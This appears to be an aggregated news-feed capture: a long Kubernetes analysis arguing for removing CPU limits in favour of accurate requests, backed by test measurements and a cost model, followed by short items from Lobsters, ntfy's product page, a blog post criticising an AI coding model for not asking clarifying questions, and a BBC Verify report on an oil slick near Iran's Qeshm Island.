CPU request CPU limit
What it is A guaranteed slice of CPU A hard ceiling, a wall
Protects other apps? Yes. CPU is shared by request size. No. It only blocks its own app.
Idle CPU on the node App may borrow it for free Wasted. The limit blocks it.

A node with 4 cores, an app with a 1-core request. With a CPU limit, borrowing idle CPU stops at the wall. Without a limit, all idle CPU is free to borrow for bursts.

Same app twice. The only difference is access to the node's idle CPU. The request (solid) is identical in both rows — borrowing idle CPU takes nothing from anyone.

Deeper: these are two different cgroup files, not two settings of one knob. docs/01-theory.md walks through cpu.max (the limit) and cpu.weight (the request) and what each one actually controls.

2. How a limit really stops your app

The kernel (the core part of the operating system) enforces limits in windows of 100 milliseconds . A 500m limit (500 millicores, half a core) means: 50 ms of CPU time per window. When the budget runs out, the kernel freezes the whole app until the next window. This is throttling .

A typical .NET service runs many threads: HTTP handlers, background consumers, and the GC (the garbage collector). All threads share one budget. Our test node has 4 cores, so at most 4 threads can run at the same instant. 8 busy threads still use up the 50 ms budget in about 12.5 ms of real time:

Three windows of 100 ms for an app with a 500m limit. An unlimited app runs continuously. A limited app with one busy thread runs 50ms then freezes 50ms every window. A limited app with 8 busy threads runs ~12.5ms then is frozen for ~87.5ms of every window.

The freezes repeat up to 10 times per second. The next chart shows why your dashboards never see them.

Illustration of one minute of a limited app under bursty load: per-second CPU use is spiky and often hits the limit (shown in orange), while the one-minute rolling average stays low and looks healthy.

Every orange second the app hit its limit and the kernel froze it. The 1-minute average never comes close to the limit, so every graph looks healthy. This is how a container can be throttled all day while its dashboard stays green. If you only ever look at averaged CPU, you cannot see this — check container_cpu_cfs_throttled_periods_total instead.

We proved this. We sent load that needs only 320m on average to an app with a 500m limit . The average never touched the limit. The app still stalled:

Bar chart: p99 response time is 40.5ms with a 500m limit versus 16.7ms with no limit, at only 64% average use of the limit.

Same app, same load (8 parallel tasks of 5 ms, 8 requests per second). The limit made the slow requests 2.4x slower, while average CPU stayed well under the limit.

Deeper: why parallelism makes this so much worse than it looks — 16 threads burn a 300m quota in under 2 ms of wall time — and why the result is a stall rather than a slowdown , which is what destroys your tail latency while the average looks fine.

3. Without limits, who shares the CPU? Meet CFS

Linux has a built-in referee: CFS, the Completely Fair Scheduler . Every pod has a weight . Kubernetes sets the weight from the pod's CPU request . The rule is simple: when the node is fully busy, pods share the CPU based on their weights . When a pod is idle, it stops using its share. Other pods can use that share instead. The idle pod gets its share back as soon as it has work again.

Two panels. Left: three apps (A=100m, B=200m, C=700m requests) all busy — A gets 10%, B gets 20%, C gets 70% of CPU, matching their request weights. Right: app C is idle — A gets 33%, B gets 67%, splitting C's unused share in the same 1:2 ratio.

Three apps on one node, weights from requests: A = 100m, B = 200m, C = 700m. This referee runs on every Linux server, always. It needs no CPU limit to work. A limit adds only one thing extra: the freezes from section 2.

Deeper: the full argument that a limit provides no protection a request does not already provide , plus the one real exception : Guaranteed QoS with the static CPU manager, where the "limit" is pinning cores rather than throttling quota.

4. "But if all pods use 100% CPU at once, the node will die!"

No. This fear treats CPU and memory as the same problem. Here is the worst possible CPU moment on a node:

Diagram of a fully busy 4-core node: a reserved slice for the OS and kubelet, then pods A, B, C, D each getting a share proportional to their CPU request.

A 4-core node, fully busy. CFS splits CPU by request weight. Each pod drops back to its guaranteed request share — apps get slower, nothing breaks. The scheduler already makes sure the requests of all pods fit inside the node.

Three protections make node failure a non-issue, all independent of CPU limits:

1. Reserved system CPU The OS and kubelet (the agent that runs and watches pods on a node) have their own reserved CPU slice, outside the pod pool. A busy pod cannot touch it. The node always stays responsive.
2. Scheduler math Pods are placed by requests, and total requests never exceed node capacity. Full contention (every pod wanting CPU at once) still means everyone gets their request. That is the same guarantee limits give, without wasting idle CPU.
3. CPU is compressible CPU can be compressed: too little of it just makes an app slower. It finishes the delayed work later. It does not crash. Memory is different: too little memory kills the app. That is exactly why memory limits stay.
Resource Not enough of it means So the rule is
CPU App runs slower for a moment Remove the limit, keep the request
Memory App crashes (OOM kill, out-of-memory kill) Keep the limit

And in most clusters, node CPU utilization sits far below capacity — often in the single or low double digits. The "everyone at 100%" moment is largely theoretical, while the real, daily problem is the opposite one: idle CPU that throttled apps are not allowed to touch. If a node ever does get fully busy, the two protections above still hold: reserved system CPU keeps the node and kubelet responsive, and CFS weight-based sharing still guarantees every pod its requested share. A node-level CPU dashboard would show sustained high usage well before this becomes a concern.

"But we have no ResourceQuota or LimitRange yet"

This is a fair objection, and the concern behind it is real: if every application shares one namespace with no ResourceQuota and no LimitRange, nothing forces a team to set accurate requests. A common interim step is to set something like limits.cpu: 1 as a "circuit breaker rather than a ceiling" — high enough that throttling stops in practice.

Setting a high limit is a fine emergency fix, and it does end throttling for the service it is applied to. But as a safety mechanism for the pods around that service, a CPU limit does not do what it looks like it does.

The worry What actually protects you
"An unlimited pod has nothing protecting the workloads around it." A pod's own limit never protects its neighbors. It only restricts itself. Neighbor A is protected from greedy pod B by A's own request , which sets A's weight in the kernel. Putting a limit on B does nothing for A.
"Requests are not mandatory, so they cannot be trusted." True, and that is the gap worth closing. But a pod with a missing or tiny request is the victim , not the aggressor: it gets the smallest weight and is the first to be squeezed. Adding CPU limits everywhere does not give it protection it lacks.
"We need a circuit breaker until the guardrails exist." The scheduler already is one. It only places a pod if its request fits the node, so total requests never exceed capacity. That is what guarantees everyone can get their share at the same time. Limits play no part in it.

The dilemma with "circuit breaker" limits. A limit set high enough never to trip (30x real use) protects nobody, because it never does anything. A limit low enough to actually trip only harms the pod it is attached to, never the neighbor it was meant to protect. It cannot be both a safety mechanism and harmless.

One measurement warning on sizing a limit as "30x what the service uses". You cannot size a limit from usage measured while a limit was throttling that same workload. A heavily throttled pod's recorded usage is what the limit allowed , not what the app wanted . Sizing from suppressed usage just builds the next too-small limit.

So what is actually needed? Exactly what the objection names: a LimitRange giving every pod a default request, and a ResourceQuota capping total requests per namespace. Both work on requests, not limits, and both can be applied to an existing shared namespace as-is — no namespace redesign has to come first. In practice the gap is often smaller than it looks, since a shared Helm chart typically sets a request for every service it templates.

To be clear about sequencing, because it is easy to overstate: the LimitRange is worth doing first — it is one manifest, it costs nothing, and it catches anything that bypasses your normal deployment path. The ResourceQuota can trail ; it guards cost, not stability, since the scheduler already refuses pods whose requests do not fit. But neither one gates limit removal. The real safeguard is the removal change itself: it touches the exact values file where a missing CPU request would be visible.

Deeper: docs/04-objections.md answers this and the rest of the objection set individually, including what happens when a node runs hot , multi-tenant namespaces , and whether removing a limit changes QoS class .

5. We measured it: same app, with and without a limit

The scripts in this repo deploy the same .NET 10 API twice into a throwaway namespace. Both pods request 250m CPU. One has a 500m CPU limit, one has none. A load generator sends the same requests at both. Everything is scripted and repeatable, so you can re-run all of it on your own cluster.

Note: except startup (3 runs, median shown), every number below is from a single run, not repeated or averaged. Treat differences under about 10% as a hint, not proof.

Four panels comparing the app with a CPU limit (orange) versus no limit (blue): startup median time 20s vs 10s; steady-load p99 57.7ms vs 49.6ms; traffic spike (12x) p99 377.0ms vs 49.5ms; Postgres pgbench throughput 1720 vs 1897 TPS.

During the spike, the limited app was frozen in 89% of all 100 ms windows . The unlimited app absorbed a 12x spike with no slowdown at all. Full tables: results/SUMMARY.md in the repo.

One caveat on the startup panel. The test container runs dotnet run , which compiles on every start, so "time to ready" here is dominated by CPU-bound compile work. That makes it a clean demonstration of throttling delaying startup, but do not read the 2x as a universal figure: a service whose startup is mostly waiting on I/O (pulling config, opening connections) will gain far less. The gain scales with how much CPU work your app does before it reports ready. The latency and spike panels have no such caveat.

Deeper: per-scenario reports with the full percentile tables live in results/ ( startup , latency , burst , noisy neighbor , Postgres ). On the Postgres panel specifically, docs/03-postgres.md is careful about which effects were measured and which are only mechanism — the pgbench gain is a single run, and the parallel-query test was a null result.

6. The noisy neighbor test (does a busy pod slow down its neighbors?)

This is the most common fear. We tested it. We put another pod on the same node. That pod ran 8 threads that constantly use CPU, with no limit. Then we measured our app's p99 again:

Bar chart: victim app alone (no limit) has p99 49.0ms; with a CPU-hungry neighbor on the same node, 55.8ms; with the same neighbor and the victim's own 500m limit, 57.6ms.

For the unlimited victim (bars 1 and 2), the neighbor moved p99 by less than 7 ms, and it was never throttled. Its request protected it, exactly as CFS promises (section 3). For the victim with its own 500m limit (bar 3), the neighbor's placement on the same node was not guaranteed, unlike the other two bars (see results/40-noisy-neighbor.md ). Even so, that victim was throttled in 0.29% of windows. Its 57.6 ms p99 is close to its own no-hog baseline of 57.7 ms (section 5). That baseline is from a separate single-run test, not a controlled leg in this same scenario, so treat this as consistent with "no extra protection," not as proof of it. Requests protect. Limits did not help here either.

Worth noting: running Burstable pods with a CPU request and no CPU limit is not an exotic configuration. It is what every pod without a limits.cpu key already does, and plenty of workloads (ingress controllers, batch jobs) are routinely deployed that way. The scenario above is the measured evidence offered here; a single controlled test is not a fleet-wide guarantee, so treat it as a strong signal rather than proof for every workload shape.

Deeper: the noisy-neighbor objection answered in full, including what happens if a pod genuinely runs away , is in docs/04-objections.md . The caveat on leg C of this test is recorded in results/40-noisy-neighbor.md .

7. How a tight CPU limit cascades into an outage

The sections above are about latency. But a CPU limit that is well below what an app actually needs does not just make things slow — it can take a service down, and it rarely looks like a CPU problem while it is happening. The cascade below follows directly from the mechanics in sections 2 and 3, and each step is caused by the step above it.

Step What happens
1. Frozen The app burns its quota early in each 100 ms window and spends most of every window suspended (section 2).
2. Garbage collector starved The runtime cannot get enough CPU to reclaim memory. A normal memory peak becomes a death spiral instead of a short pause.
3. Out of memory Allocation outruns reclamation, so the pod throws out-of-memory errors and is OOM-killed — a memory failure caused by a CPU setting.
4. Timeouts on healthy dependencies Any call with a timeout (a cache read, a config or feature-flag lookup, a database query) blows that timeout because the caller is frozen, not because the dependency is slow.
5. Silently wrong behavior Whatever those calls guard now falls back to a default. A feature flag that reads false because its lookup timed out is not slowness — it is the product behaving differently than configured, with nobody being told.
6. Traffic keeps arriving A readiness probe that only checks that the port is open still passes, so the orchestrator never takes the sick pod out of rotation. A frozen app also cannot answer its own health check reliably, which tends to get written off as a flaky probe.

Why this is the whole argument in one failure mode:

  • It is a default, not a mistake. A low CPU limit like 100m is a common copy-paste default. Nothing about it looks dangerous in a values file.
  • It blames the wrong system. Throttling does not surface as "high CPU". It surfaces as errors and timeouts from whatever the app was calling, which sends responders investigating a dependency that is perfectly healthy.
  • The damage can be a correctness bug, not a slow page. A silently defaulted feature flag in production is far harder to detect, and harder to explain to a customer, than a slow endpoint.

Two practical consequences worth carrying into any triage:

  • An out-of-memory kill on a throttled pod is not automatically a memory leak. Check the throttle ratio before raising the memory limit; you may be treating a CPU problem with more memory.
  • "Raise the limit" is a fix that admits the problem. When the remedy for an incident is to multiply the CPU limit several times over, the limit was never a safety mechanism — it was the fault.

Honest note on evidence like this. Throttling is systematically under-diagnosed. Incident write-ups tend to record the visible symptom ("timeout", "cache error") rather than the CPU quota underneath it, because nobody checks the throttle ratio during an incident. That cuts both ways: throttling is not behind every slow service either. The dashboard in step 2 of the plan exists precisely to replace this guesswork with a number.

Deeper: step 2 of this cascade is the surprising one — a CPU setting causing a memory kill. docs/02-dotnet.md explains the mechanism: the collector needs CPU to reclaim, gets throttled exactly when memory pressure is highest, and allocation outruns reclamation. The same document covers connection pools stalling behind a starved ThreadPool , which is why this so often presents as a database or cache problem.

8. One extra step for .NET apps

.NET reads the CPU limit to size itself. We measured this on the two test pods:

What .NET sees With 500m limit No limit (4-core node)
Environment.ProcessorCount 1 4
ThreadPool minimum threads 1 4
Garbage collector mode Workstation, 1 heap Server, 4 heaps

Server GC splits memory cleanup across one heap per processor, which is faster on machines with many cores. Workstation GC always uses a single heap, no matter how many cores exist.

Both extremes are imperfect, but not equally. With a common 100m default limit, every .NET app starts with 1 processor and 1 thread pool thread . This is the bad case. The other direction is mild: our unlimited test pod sized itself for the whole node, and it still won every test. Memory stays safe too: memory limits remain, and .NET caps its own GC memory to the container's memory limit.

So why set anything at all? One reason: without a value, the same service behaves differently on a 4-core node than on a 16-core node. This does not need per-service bookkeeping. Nobody has to count their threads. Set one default in your shared Helm chart , in one change:

# one default in the shared chart, not one per service
- name: DOTNET_PROCESSOR_COUNT
  value: "4"  # services can override this, most never will

In practice this variable is rarely set anywhere, which means most .NET services end up running on whatever ProcessorCount and GC mode their CPU limit happens to produce.

Deeper: docs/02-dotnet.md has the whole chain — how ProcessorCount is derived from the quota , why the ThreadPool then grows too slowly to absorb a burst , and what to set once the limit is gone , including why deriving the value from requests.cpu via the downward API is a trap until requests are honest. Go, Java and Python have the same problem with different knobs; see rollout step 1 .

9. The plan

  1. Set one fleet-wide DOTNET_PROCESSOR_COUNT default in your shared Helm chart (one change, no per-service bookkeeping). Special services can override it. Non-.NET runtimes get the equivalent knob ( GOMAXPROCS for Go, worker counts for Python) before their own limit is dropped.
  2. Observability first. Put per-container throttle ratio on a dashboard (target after rollout: ~0) and add a node CPU-pressure alert: a capacity signal telling you a request is set too low or a node is genuinely needed.
  3. Add cheap backstops, without waiting on them: a LimitRange (default requests for strays outside your gitops flow) and, later, a ResourceQuota (guards cost, not stability). The real safeguard is each removal change itself: if your convention mandates an explicit CPU request, the review confirms it. Two quick one-time checks: any policy engine rule requiring limits to be set, and any services where request equals limit (Guaranteed QoS).
  4. Remove CPU limits per namespace, least critical environment first, production last. One small values change per service; where a request is obviously too low (10m against 100m+ real usage), raise it in the same change, because the request is the neighbor protection. Rollback = restore one line. HPA is unaffected: it measures usage against requests.
  5. Right-size requests from 30-day real CPU usage (P95 usage: the usage level exceeded only 5% of the time), so requests stay accurate and protection stays real. An autoscaler then removes empty general-purpose nodes on its own. Hand-sized pools need one manual size change each (section 10).

What you do not change: CPU requests stay, and must be accurate. Memory limits stay everywhere. Only the CPU limit goes away.

Deeper: docs/06-rollout.md is the executable version of this list — each step with its entry and exit criteria, what gates what (less than you would think), the burn-in and resilience test before production, the one-line rollback , and a before/after values diff for a typical service.

10. Outcomes: what do you win, and is it worth it?

Throttling → ~0 8x better spike p99 up to ~$92k / year
The point of the change: on a fleet where a meaningful share of containers are severely throttled, that share goes to roughly zero, and the frozen container-hours go with it. p99 during a 12x traffic spike was 377 ms limited vs 49.5 ms unlimited (section 5). Time to ready after a deploy also halved, though that number is startup-work-dependent — see the caveat below. Illustrative, for a hypothetical cluster, and this is the CPU-only ceiling before the memory floor — §"memory sets the floor" below cuts it to roughly half. Plug in your own prices for a real number; see docs/05-cost.md .
How is the cost saving estimate calculated? Click to see every step.

Nodes cost money, and the number of nodes follows requests : the scheduler must reserve the full request of every pod, even if the pod never uses it. Fewer requested cores means fewer nodes. Teams inflate requests to fight throttling. Remove the limits, and requests can shrink to accurate values.

Worked example on a hypothetical 1,000-core cluster , with an illustrative placeholder price. Every number here is invented to show the arithmetic — substitute your own:

Step Value Where it comes from
1. CPU requested today 500 cores sum of requests.cpu across the cluster
2. CPU really used 100 average, 140 at peak measured over 24 h. Size on the peak (P95), not the average.
3. Right-sized requests 2 x 140 = ~280 cores twice the peak, so every app keeps a full safety buffer above its worst hour
4. Cores you stop reserving 500 - 280 = ~220 cores step 1 minus step 3
5. Price per core $35 per month (illustrative) a placeholder; real Azure/AWS/GCP pricing varies a lot by VM SKU, region, and reservation discount — price your own node inventory the same way ( scripts/95-cost-estimate.mjs prices an inventory against the Azure retail API)
6. Estimate 220 x $35 = ~$7,700 / month = ~$92,000 / year step 4 times step 5. This is a CPU-only estimate, before the memory floor below.

The shape of this is what generalizes, not the digits: limits summing to more CPU than the nodes physically have, and real usage a small fraction of what is requested. The memory floor below brings the CPU-only estimate down to a more realistic figure.

Two timing caveats that apply to any real version of this model: core counts are a same-day snapshot while a VM bill is a monthly average, and freed cores only turn into money when nodes actually scale down and any reserved capacity rolls off or is reused by other workloads.

Bar showing 500 requested cores split into ~280 still needed (2x the 140-core peak) and ~220 freed.

Why this is an upper bound, not a promise: usage is not spread evenly across services, and some services need more than 2x headroom. The real plan takes 30-day P95 usage per service (rollout step 5) and real VM prices per instance type. Full model with all assumptions: docs/05-cost.md in the repo.

From freed cores to removed VMs: memory sets the floor

A VM only leaves the cluster when both its CPU and its memory are no longer needed. CPU is not the only dimension, and memory is usually the fuller of the two. Run kube_pod_container_resource_requests{resource="memory"} against kube_node_status_allocatable{resource="memory"} per node pool to find your own floor; the shape it tends to take:

Segment What it means for the model
Memory-bound pools (a hand-sized tier for something like a search or indexing engine) Memory-full, so these VMs stay whatever you do with CPU. They are often also the heaviest real CPU users, which means their freed CPU requests produce no savings at all.
General-purpose pools (added and removed automatically by an autoscaler) Partially full. Some real share of this capacity can leave once CPU is right-sized — this is where the savings actually come from.
Lightly loaded pools CPU is the binding constraint, so the full CPU model applies.

Whatever the split, only part of the CPU-only estimate above turns into removed VMs. The gap between the CPU-only ceiling and the memory-floored reality is exactly why both numbers matter: cores freed is not the same thing as nodes removed. If, say, half your capacity sits in memory-bound pools, expect roughly half the ceiling to materialize.

The floor itself is probably too high. In most fleets memory requests have never been right-sized either, and the same habit that inflates CPU requests inflates memory requests: teams pick a safe-looking number once and never revisit it. Every GiB reserved but not used pushes this floor down and the saving up. Measuring real memory use per service is a separate right-sizing effort, and on this evidence it is worth doing right after the CPU one.

Who removes the VMs? Removing CPU limits frees nothing by itself. After requests are right-sized (plan step 5), an autoscaler such as Karpenter removes empty general-purpose nodes automatically. Hand-sized pools each need a one-time size change, and memory-bound pools should not shrink at all.

Key numbers (KPIs) worth tracking. Each rollout step should move them:

KPI Before Target after rollout
Share of containers severely throttled (>10% of windows frozen), 24 h whatever your dashboard shows today ~0
Combined container-hours frozen per day whatever your dashboard shows today ~0
p99 during a 12x traffic spike (our test, section 5) 377.0 ms ~50 ms
Time to ready after a deploy or scale-up (our test, section 5; CPU-bound startup) 20 s 10 s
Self-hosted Postgres throughput (our test, section 5) 1,720 TPS ~1,897 TPS (single run, ~10% gain, a hint not proof)
Node CPU used vs paid for typically low single/double digits materially higher at peak, once requests are right-sized

How much faster will apps get? There is no single accurate average. Apps that never throttle today will change little. The containers that throttle badly will gain the most. Per app type, based on our measurements:

App type Expected improvement Evidence
Request-serving APIs p99 about 14% lower under steady load, up to 87% lower during traffic spikes. Deploys and scale-ups faster to ready (see the startup caveat below). test scenarios 1, 2, 3
Queue and event consumers 59% lower p99 in our generic burst test (8 handlers waking at once). We infer this applies to real consumer-group rebalances and backlog catch-up, but we did not test an actual rebalance. Faster restarts. test scenarios 1 and 2
Databases (self-hosted Postgres) ~10% more throughput in one single-run pgbench test. This is within our own hint-not-proof threshold (section 5), so treat it as a hint, not a confirmed win. A parallel background query in the same run showed almost no difference (2,927 ms vs 2,920 ms, limited vs unlimited). test scenario 5
Frontends, tooling, CI Often the biggest wins, because these tend to carry the smallest, least-tuned CPU limits while doing bursty work (bundling, image processing, test runs). sections 2 and 5
Apps that never throttle No change, plus free headroom (spare capacity) for their next traffic spike. section 3 (CFS)

Return on investment. The cost side is small:

One-time effort One values line removed per service, one env var added for .NET services. Staged across your environments, production last. Weeks, not months. Zero application code changes.
Recurring return Lower p99 latency, and faster starts for anything that does real CPU work before serving. ~10% more database throughput (single test run, a hint not a confirmed result). Throttled container-hours removed per day. Tens of thousands of dollars per year on the illustrative cluster above after the memory floor (see the memory floor — plug in your own prices for a real figure).
Risk Low. Requests keep protecting neighbors (sections 3, 4, 6). Running Burstable pods without a CPU limit is an ordinary configuration, not an exotic one. HorizontalPodAutoscaler is unaffected: it measures usage against requests, not limits. Rollback is restoring one line, and a gitops controller applies it in minutes.

Verdict: worth it, everywhere. Remove CPU limits on all clusters and all apps, except the three special cases in docs/04-objections.md : untrusted third-party workloads, benchmark pods, and pinned-CPU pods (Guaranteed QoS: request equals limit, so the pod gets whole, dedicated cores; used for latency-critical workloads).

11. Q&A: the hard questions, answered up front

A short version of the six questions that come up most. The full set — fifteen of them, including HPA, KEDA, QoS class, multi-tenancy and when limits genuinely are the right tool — is in docs/04-objections.md .

Our requests are tiny today (often 10m). Isn't dropping limits before fixing them unsafe?

Fair sharing is weighted by requests, so they need to be roughly honest, and the fix rides along for free: every removal is a values-file change, and the same change raises an obviously-too-low request. Requests become honest at the same pace limits disappear; nothing waits for a fleet-wide re-sizing. The few deviations you find are one-line fixes of their own.

Couldn't we just right-size requests and keep the limits? Isn't that where the money is?

The money is in right-sizing, yes; deleting a limit line frees zero nodes by itself. But right-sizing under limits fails twice: usage measured under throttling is what the limit permitted , not what the app needed, so you would size from wrong data; and the throttling that pushes teams to inflate requests stays. Limit removal makes the measurements honest; right-sizing then cashes them in. Two linked steps, one saving.

If everything shares one namespace, what does a per-namespace ResourceQuota actually protect?

Not much yet, and that is fine. The scheduler already refuses pods whose requests do not fit, so a missing quota risks extra node cost, not an outage. The LimitRange default request is the part worth having first; the quota (and any namespace split) can follow later.

Without limits, what happens when a node runs hot?

Nothing breaks: every pod keeps its requested share, and the OS and kubelet have reserved CPU. What shrinks is the idle headroom pods borrow above their requests. So the node-pressure alert (plan step 2) is a capacity signal, not a fire alarm: it tells you a request is set too low (one gitops fix) or the cluster genuinely needs another node.

This evidence was gathered on a lightly loaded cluster. Is it still safe at high utilization?

The 2x-peak sizing rule keeps real headroom, but do not assume it: in your last pre-production environment, drain a node under load and mass-restart a namespace at post-rollout density, and confirm probes do not flap under the simultaneous startup burst. Only then start on production.

Which services keep a CPU limit?

Only the three exception categories (untrusted third-party code, benchmark pods, pinned-CPU Guaranteed-QoS pods), inventoried per environment before its changes go out. In a first-party application fleet these categories are usually rare: the worst-throttled workloads are typically your own apps with limits set far below demand, not greedy outsiders. Any exception keeps its limit, documented next to its values file.

12. Words used in this analysis

Term Meaning
core / millicore 1 core = 1000m (millicores). 500m = half a core.
request The CPU slice a pod is guaranteed. Used for scheduling and for fair sharing.
limit A hard ceiling. The pod can never use more, even if the node is idle.
kernel The core part of the operating system. It manages hardware and enforces CPU limits.
kubelet The agent that runs on every Kubernetes node. It starts and watches the pods on that node.
Karpenter A tool that adds and removes general-purpose nodes automatically, based on what pods request.
namespace A named area inside a Kubernetes cluster. It groups related pods and services together.
CFS Completely Fair Scheduler. The Linux CPU referee. Shares CPU between busy apps, based on their weights (= requests).
contention When two or more pods want the same CPU at the same time.
compressible Something that can be squeezed into less space without breaking. CPU is compressible: give a pod less of it, and it just runs slower.
throttling The kernel freezing a pod because its limit budget for the current 100 ms window is used up.
p99 The response time of the slowest 1 request in 100. Users feel the p99, not the average.
P95 The response time of the slowest 5 requests in 100. Like p99, but for the top 5%, not the top 1%.
TPS Transactions per second. Higher is faster.
GC Garbage collector. The part of .NET that frees memory the app no longer uses.
OOM kill Out Of Memory kill. The kernel stops an app that uses more memory than allowed.
LimitRange A Kubernetes rule that sets a default CPU or memory request for pods that do not set one.
ResourceQuota A Kubernetes rule that caps the total CPU or memory a namespace can request.
gitops Storing the desired state of a cluster (deployments, config) as files in a git repo. A tool then applies that state to the cluster automatically.
Helm chart A package of Kubernetes config templates for one service. Teams fill in per-environment values (like CPU requests) without rewriting the whole template.
ArgoCD A tool that watches your gitops repos and applies changes to the cluster automatically, so nobody runs kubectl apply by hand.
headroom Spare capacity kept unused on purpose, as a safety buffer for the next spike in demand.

Try it yourself: clone this repo, point kubectl at a cluster you do not care about, then run scripts/00-preflight.sh , scripts/run-all.sh , scripts/90-cleanup.sh . Everything it creates goes into its own namespace, carries one label, and is removed by the cleanup script. It refuses to run against a production-looking context unless you force it — it deliberately throttles and OOM-kills its own pods, so give it somewhere disposable.

More depth: the docs/ folder (theory, .NET, Postgres, objections FAQ, cost, rollout) goes deeper on each mechanism than this analysis does. Raw data from the run is under results/ , app source under app/ , and the Kubernetes manifests under k8s/ .

License: MIT, see LICENSE .

All measured numbers in this analysis come from the test run committed under results/ , produced by the scripts in this repo. The cost model is an explicitly illustrative example, not a measurement — plug in your own cluster's figures.

What are you doing this weekend?

Lobsters
lobste.rs
2026-08-14 06:39:05
Feel free to tell what you plan on doing this weekend and even ask for help or feedback. Please keep in mind it’s more than OK to do nothing at all too!...
Original Article

Just finished writing a blog post about how I found a bug in TAOCP and Knuth gave me a theorem with my name after fixing it. Spent the day counting page views, so I’m going to disconnect this weekend, go to the mountains and visit a festival.

Ntfy – open-source Push to Mobile

Hacker News
ntfy.sh
2026-08-14 06:35:43
Comments...
Original Article

Send push notifications from your app or script

Publishing messages can be done via PUT or POST. Topics are created on the fly by subscribing or publishing to them. If you use ntfy without sign-up, the topic is essentially a password, so pick something that's not easily guessable. If you purchase ntfy Pro , you can reserve topic names instead.

curl \
  -d "Backup successful 😀" \
  ntfy.sh/mytopic

Or get notified on your computer

You can use the web app to subscribe to topics as well. If you do, notifications will pop up as desktop notifications. Simply type in the topic name and click the Subscribe button. The browser will keep a connection open and listen for incoming notifications.

Open app Getting started

Pricing

Try ntfy for free without sign-up, or check out our paid plans. Or, since it's open source, you can always self-host it.

Supporter

$5 / month

Get started with ntfy, while also supporting the open source project.

Subscribe

Pro

$10 / month

This is the best value plan. Lots of messages, and large attachments.

Subscribe

Business

$20 / month

Insane amount of messages, lots of reserved topics, giant attachments.

Subscribe

Need a bigger plan, or a dedicated server ? Feel free to contact us .

If you don't need a paid plan, but would still like to support us, please donate via GitHub Sponsors or Liberapay ❤️ .

“Hands down the best notification service I've ever used, and I have used them all.”

– Joe Harrison

Still not convinced?

Check out the countless blog posts and newspaper articles about ntfy, or read the all the reviews on Google Play , and the Apple Store

Join our open source community

ntfy is open source , and dual-licensed under the Apache 2.0 and GPLv2 license. Development happens out in the open, on GitHub and in our chats on Discord/Matrix. We love free software, and we're doing this because it's fun. Please join us, and let us know how you are using ntfy!

Why does Opus 5 feel worse to work with?

Hacker News
mun-logadan.github.io
2026-08-14 06:12:48
Comments...
Original Article

In my opinion and that of the colleagues I've spoken with, working with Opus 5 feels like a downgrade compared to Opus 4.7, Opus 4.8, and Fable.

I'm not claiming a step backwards in capabilities – it is a more capable model than Opus 4.7 and Opus 4.8 and even rivals Fable in benchmarks, yet these other models feel better to work with. I believe this is because they:

  • stop and ask questions if my intent was unclear,
  • don't make assumptions without checking,
  • and don't reinterpret or update my plans without asking.

Because of this, they don't require the careful babysitting that Opus 5 does.

Baseless speculation

I suspect this is the result of two compounding forces at Anthropic, and in current frontier labs in general.

First, the desire to create a self-improving AI that is capable of recursively bootstrapping itself to AGI/ASI.

Second, the pressure to score highly on benchmarks. Although it's an open secret that many benchmark tasks are ill-defined, unfair, hackable, or otherwise broken, a good benchmark task is self-contained. It can be solved. It doesn't require hints, reading the task creator's mind, or outside information to pass.

That doesn't mean a good task can only have one correct answer, just that it should score all unambiguously correct answers equally.

Selecting for models that do well on benchmarks (and indeed training for them or on RLVR tasks in general) inherently selects for models that make bold, usually-correct assumptions in the face of ambiguity. It penalizes models with a tendency to stop and ask for clarification or direction.

Unfortunately, that's exactly what most of us want from a coding agent.

Try as you might, it's nearly impossible to get the entirety of the context, intentions, business implications, budget constraints, and what-have-you written down and accessible to a coding agent. There will invariably be ambiguity and choices to be made, and it is nice to know that an agent will stop and ask when needed.

Real life just isn't a benchmark. There isn't a guaranteed right answer to every question, nor even a set of right answers, and with real-life consequences on the line, I do not want an agent taking its best guess!

Major oil slick washes up on Iran coast after Hormuz ship strike

Hacker News
www.bbc.com
2026-08-14 06:10:15
Comments...
Original Article

Kayleen Devlin, Barbara Metzler and Shayan Sardarizadeh BBC Verify

BBC A slick of oil flowing on a beach BBC

Verified videos show a major oil slick washing up on Iran's Qeshm Island, which analysts have said comes from a ship hit by a strike in the Strait of Hormuz.

BBC Verify has also analysed satellite imagery suggesting the oil spill originated from an attack on a vessel in Omani waters on 3 August. A week later, the apparent fuel leakage from the Minoan Pioneer bulk carrier had spread across a large area of the strait.

Environmental experts say the spill threatens wildlife, protected ecosystems and fishing communities around Qeshm, which is home to mangrove forests, nearby coral reef habitats and nesting sites for critically endangered Hawksbill turtles.

Iranian media initially reported the origin of the pollution was under investigation and Iran's foreign ministry spokesman said on Thursday its source was a "foreign bulk ship".

A local environmental protection official has since said the spill has been "almost completely cleaned up". BBC Verify has not been able to independently confirm this.

Verified videos show spilled oil reaching Iranian beach

Iran did not acknowledge being responsible, but shipping analysts have said it was likely to have been behind the Minoan Pioneer attack on 3 August.

Since the US and Israel began striking Iran at the end of February, data from maritime intelligence company Kpler indicates there have been 67 strikes on vessels in the vicinity of the strait.

We have verified several videos shared on social media showing thick, black oil washing up on Suza beach in southern Qeshm. On the other side of the island is the Unesco-designated Hara Biosphere Reserve, home to vital habitats for marine life and migratory birds.

Satellite imagery from 10 August shows the slick visible across an area of more than 300 sq km (116 sq miles) - the size of more than 40,000 football pitches.

"This is what I would call a major oil slick," said John Amos, CEO of Skytruth, a specialist satellite environmental monitoring group. Based on its size and colour, Amos estimates that the spill is "well over" 100,000 US gallons (380,000 litres) of oil.

Graphic showing satellite imagery of an oil slick in the Strait of Hormuz over time. Three panels, dated 5 August 7 August and 10 August, track the spread of the slick near Qeshm Island, Iran, and waters between Iran and Oman. On 5 August, a dark oil slick appears near the ship; by 7 August, the slick has expanded into a large curved patch; by 10 August, it has dispersed over a wider area with distinct slick formations visible in highlighted boxes. An inset map shows the location of the Strait of Hormuz between Iran and Oman. Source: Sentinel-2, Copernicus; graphic by BBC.

While the extent of the damage to marine life is still being assessed, Dr Keyvan Hosseini, an energy and environmental expert from the University of Southampton, described the location of the pollution as "very concerning".

He told BBC Verify that Qeshm is home to "sensitive coastal and marine habitats, including mangroves, turtle nesting areas and important fishing grounds".

"This means the spill could have especially serious consequences for wildlife, ecosystems and local communities."

Tracking the slick

On 3 August, shipping security firm Vanguard reported the Liberia-flagged bulk carrier Minoan Pioneer was struck by a projectile near Oman.

Satellite imagery from 5 August showed the vessel is still on fire. Alongside it was an oil slick stretching out over roughly 10 sq km.

